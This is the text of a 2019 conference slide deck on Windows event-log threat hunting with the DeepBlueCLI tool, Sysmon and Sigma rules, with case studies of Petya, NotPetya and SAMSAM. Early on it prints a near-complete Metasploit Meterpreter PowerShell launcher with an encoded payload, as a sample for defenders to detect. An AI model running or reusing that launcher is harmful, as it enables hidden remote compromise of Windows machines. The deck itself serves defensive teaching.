Threat Hunting Via Windows Event Logs Secwest 2019
Threat Hunting Via Windows Event Logs Secwest 2019
C511
Introducing DeepBlueCLIv2 2
Sunlight is the Best Disinfectant – Louis Brandeis
Introducing DeepBlueCLIv2 4
Metasploit Meterpreter Payload via Command Line
C:\Windows\system32\cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq
4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object
System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object
IO.MemoryStream(,[Convert]::FromBase64String(''H4sIADQdtlcCA7VWa2/aSBT93Er9D1aFZFslGAhtmkiVdszLhEcA82ZRNdhjM
2TsIfY4PLr973sNdkK3zSpdaS2Q53HvzJlzz51rJ/ItQbkv7a3lQPr27u2bLg6wJykZ52s1K2UeREl98waGM65/27wla3PApC+SMkebTYV7m
PqLm5tyFATEF6d+rk4ECkPiLRkloaJKf0njFQnIxd1yTSwhfZMyX3N1xpeYJWb7MrZWRLpAvh3PtbiFY0g5c8OoUOQ//5TV+UVhkas+RJiFi
mzuQ0G8nM2YrErf1XjDwX5DFLlNrYCH3BG5MfUvi7mhH2KHdGC1R9ImYsXtUFbhLPALiIgCXzo7VbzMyUiRodkNuIVsOyAh+OQa/iO/J0rGj
xjLSn8o8wRDP/IF9QjMCxLwjUmCR2qRMGdg32akT5yF0iHb9OivdVLOncCqKwI1CyF5EWyb2xEjJ39Z/RluHEwVniSgwMH3d2/fvXXS4K8Hp
D3c4fP4Q+vN/NgmgFLp8pAeTb9I+azUhp2w4MEeuplBEBF1Ic3jGMwXCykTcee6M9GzLy9RSO3Bmn7UYWQ+4tRegEcSn4zX/WrcGUPK67NCP
P+y3irEoT6p7H3sUSuVlPIr3onDyPHAudSsA9gUOZkgdoUw4mIRc5iV5j+7VT0qnnz1iDKbBMiC2IWACsKq/gjmFBZFbvht4gFbp74MUXBAy
CS1TsS7T3e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ader(New-Object
IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecut
e=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnost
ics.Process]::Start($s);
Introducing DeepBlueCLIv2 5
Details
Introducing DeepBlueCLIv2 6
Obfuscated PowerShell Function (after base64 -d and gzip -d)
Introducing DeepBlueCLIv2 7
Advantages to these Methods
Introducing DeepBlueCLIv2 8
Perfect is the Enemy of Good - Voltaire
Introducing DeepBlueCLIv2 10
Command Lines to Look For
Introducing DeepBlueCLIv2 12
Microsoft Sysinternals Sysmon
Introducing DeepBlueCLIv2 13
Sysmon: Application Monitoring
Introducing DeepBlueCLIv2 16
Upcoming Sysmon Update
Introducing DeepBlueCLIv2 17
Mandiant M-Trends on Mimikatz
Introducing DeepBlueCLIv2 18
The Sed Persistent Threat (SPT)
Introducing DeepBlueCLIv2 19
This Dog Can Hunt!
Introducing DeepBlueCLIv2 20
Whack-a-Mole
Introducing DeepBlueCLIv2 21
Announcing Mimiyakz:The Sed Persistent Threat (SPT) Strikes Again!
Introducing DeepBlueCLIv2 22
IMPHASH to the Rescue
Mimidogz SHA1=7E3CE3B80B77D423103AF2DC64488DA843D2CC16
Mimidogz IMPHASH=C7E2E477687C6F5E733C140990FCCFFC
Mimiyakz SHA1=B7A150ADDC518533E3894D2EDEF117EEB79B207E
Mimiyakz IMPHASH=C7E2E477687C6F5E733C140990FCCFFC
Introducing DeepBlueCLIv2 23
Detecting Unusual and Unsigned Drivers and Images with Sysmon
Introducing DeepBlueCLIv2 24
DeepBlueCLIv2
Introducing DeepBlueCLIv2 25
Thanks, John!
Introducing DeepBlueCLIv2 26
Recent Updates to DeepBlueCLI
Introducing DeepBlueCLIv2 27
Call for EVTX files
Introducing DeepBlueCLIv2 28
DeepBlueCLI
DeepBlueCLI
detects a large
number of
suspicious
behaviors
Introducing DeepBlueCLIv2 29
DeepBlueCLI Example: Password Spray
Introducing DeepBlueCLIv2 30
DeepBlueCLI
DeepBlueCLI
contains a
number of
example EVTX
files containing
malice
Introducing DeepBlueCLIv2 31
DeepBlueCLI Output Options
asfa
Introducing DeepBlueCLIv2 32
DeepBlue CLI: Base64 and/or Compressed Commands
Introducing DeepBlueCLIv2 33
PowerShell Command Parsing vs. Script parsing
Introducing DeepBlueCLIv2 34
Parsing PowerShell Event 4104
Introducing DeepBlueCLIv2 35
Case Study: Petya
In cases where the SMB exploit fails, Petya tries to spread using
PsExec under local user accounts. (PsExec is a command-line tool
that allows users to run processes on remote systems.) It also runs
a modified mimikatz LSAdump tool that finds all available user
credentials in memory.
It attempts to run the Windows Management Instrumentation
Command-line (WMIC) to deploy and execute the payload on each
known host with relevant credentials. (WMIC is a scripting
interface that simplifies the use of Windows Management
Instrumentation (WMI) and systems managed through it.)1
-Sophos
Introducing DeepBlueCLIv2 36
Case Study: NotPetya
Introducing DeepBlueCLIv2 37
NotPetya Financial Cost
Introducing DeepBlueCLIv2 39
NotPetya Effects on Maersk
Maersk security staffers tell WIRED that some of the corporation’s servers were,
up until the attack, still running Windows 2000—an operating system so old
Microsoft no longer supported it.… They called attention to Maersk’s less-than-
perfect software patching, outdated operating systems, and above all insufficient
network segmentation. That last vulnerability in particular, they warned, could
allow malware with access to one part of the network to spread wildly beyond its
initial foothold, exactly as NotPetya would the next year.
Since then… Maersk has worked not only to improve its cybersecurity but also to
make it a “competitive advantage.” Indeed, in the wake of NotPetya, IT staffers
say that practically every security feature they’ve asked for has been almost
immediately approved. Multifactor authentication has been rolled out across the
company, along with a long-delayed upgrade to Windows 10.1
Introducing DeepBlueCLIv2 41
Case Study: SAMSAM attack on the City of Atlanta I
Introducing DeepBlueCLIv2 43
.
SAMSAM spreading via WMI and PsExec
After the threat actors establish a foothold within a network segment, they
can enumerate hosts and users on the network via native Windows
commands such as NET.EXE. The attackers utilize malicious PowerShell
scripts to load the Mimikatz credential harvesting utility, allowing them to
obtain access to privileged accounts. By moving laterally and dumping
additional credentials, attackers can eventually obtain Active Directory
domain administrator or highly privileged service accounts.
Given these credentials, attackers can infect domain controllers, destroy
backups, and proceed to automatically target and encrypt a broader set of
endpoints. The threat actors deploy and run the malware using a batch script
and WMI or PsExec utilities.
- https://tanium.com/blog/samsam-ransomware-how-tanium-can-help/
Introducing DeepBlueCLIv2 44
Three Slides on Defensible Security Architecture
• This talk is on detection, not security architecture, so I will keep this brief
• Everyone seeing this talk should ensure their organization:
o Has patched every Windows system for MS17-010
• And deployed compensating controls (such as firewalls) for those that can't be (easily) patched
o Uses a different local administrator password on every Windows system (LAPS)
o Does not expose critical services (including Email, VPN, Remote Desktop Protocol, and
others) to the Internet via single-factor authentication
• Begin limiting privilege for powerful accounts and groups, including
Domain Administrators (and many others)
• For organizations with flat internal networks: begin the process of
segmenting them
o Private VLANs (discussed next) are often a quick win
Introducing DeepBlueCLIv2 45
Defensible Secure Architecture: Private VLANs (PVLANs)
• Private VLANs are (usually) one of the easiest 'wins' an organization may achieve for
making pivoting more difficult to an attacker
o 'Pivoting' describes the act 'moving behind enemy lines,' when malware (or a person) moves from
one compromised internal host to another host
o Lots of malware will attempt to pivot from one client PC to another
• Many corporate wireless solutions offer 'station isolation': a client on a wireless access point
may speak to the AP (which is also a switch and a router) only
o Clients may not access other clients on the same AP
o Clients may also be prohibited from speaking to any other clients (on other APs)
• A private VLAN is the wired equivalent to wireless station isolation
o If this makes sense for wireless clients: why not wired?
• If Private VLANs are not appropriate for your environment, use the host-based
firewall to achieve the same goal (blocking client<->client traffic)
Introducing DeepBlueCLIv2 46
Host-Based Firewall Capabilities
Introducing DeepBlueCLIv2 48
PowerShell via PsExec: Event Log View
Introducing DeepBlueCLIv2 49
WMIC details
Introducing DeepBlueCLIv2 50
PowerShell via WMIC: Event Log View
Introducing DeepBlueCLIv2 51
Use Case: DeepBlueCLI vs. PowerShell via WMIC and PsExec
Introducing DeepBlueCLIv2 52
DeepWhite
FB55414848281F804858CE188C3DC659D129E283BD62D58D34F6E6F568FEAB37
Introducing DeepBlueCLIv2 54
DeepWhite Details
• Here's mimikatz.exe:
Introducing DeepBlueCLIv2 55
Virustotal False Positives I
Introducing DeepBlueCLIv2 56
Virustotal False Positives II
Introducing DeepBlueCLIv2 57
Enter Sigma
Introducing DeepBlueCLIv2 58
Sigma to the Rescue!
Introducing DeepBlueCLIv2 59
How Sigma Works
Introducing DeepBlueCLIv2 60
Conversion of Signatures to Alert Queries
Company 1 Search Query Alert
field names Engine
Splunk
Company 2 Search Query
Alert
field names Engine
Qradar
… …
Grep Grep
command
Log source:
Windows Sysmon
Sysmon EventID 8 (create
remote thread)
Introducing DeepBlueCLIv2 63
Log Source Section
Optional Classifiers:
• category: proxy, firewall, AV, IDS
• For all logs of a group of products
• product: Squid, pfSense, Symantec, Snort, Windows
• For all log outputs of one product
• service: SSH, DNS, DHCP
• For a subset of a products logs – sshd, named, …
• description: Additional detail on log source, configs
Introducing DeepBlueCLIv2 64
Supported Outputs
• Splunk
• QRadar
• ArcSight
• Elasticsearch (Elastalert, Query strings, DSL, Watcher, & Kibana)
• Logpoint
• Qualys
• Windows Defender ATP
• PowerShell
• grep
Introducing DeepBlueCLIv2 65
Example: PowerShell syntax
Introducing DeepBlueCLIv2 66
Example: Splunk syntax
Introducing DeepBlueCLIv2 67
Example: Kibana syntax
Introducing DeepBlueCLIv2 68
Demo Time!
Introducing DeepBlueCLIv2 69
Thank you!
• Contact me on Twitter:
o @eric_conrad
• DeepBlueCLI is available at:
https://github.com/sans-blue-
team/DeepBlueCLI/
• A copy of this talk is available at
http://ericconrad.com
• Check out Security 511 for more blue
team goodness: http://sec511.com
• Security 530 (Defensible Security
Architecture) describes controls for
preventing these types of attacks
Introducing DeepBlueCLIv2 70
References
1. Deconstructing Petya: how it spreads and how to fight back,
https://nakedsecurity.sophos.com/2017/06/28/deconstructing-petya-how-it-spreads-and-how-to-fight-back/
2. Mandiant M-Trends 2015, https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf
3. Command Line Kung Fu Episode #31: Remote Command Execution,
http://blog.commandlinekungfu.com/2009/05/episode-31-remote-command-execution.html
4. https://github.com/jaredhaight/PSAttack
5. https://github.com/darkoperator/Posh-VirusTotal
6. https://www.virustotal.com/en/documentation/public-api/
7. http://blog.securityonion.net/2017/09/elastic-stack-alpha-release-and.html
8. https://github.com/philhagen/sof-elk
9. https://nxlog.co/products/nxlog-enterprise-edition
10. https://github.com/williballenthin/python-evtx
11. https://github.com/libyal/libevtx
Introducing DeepBlueCLIv2 71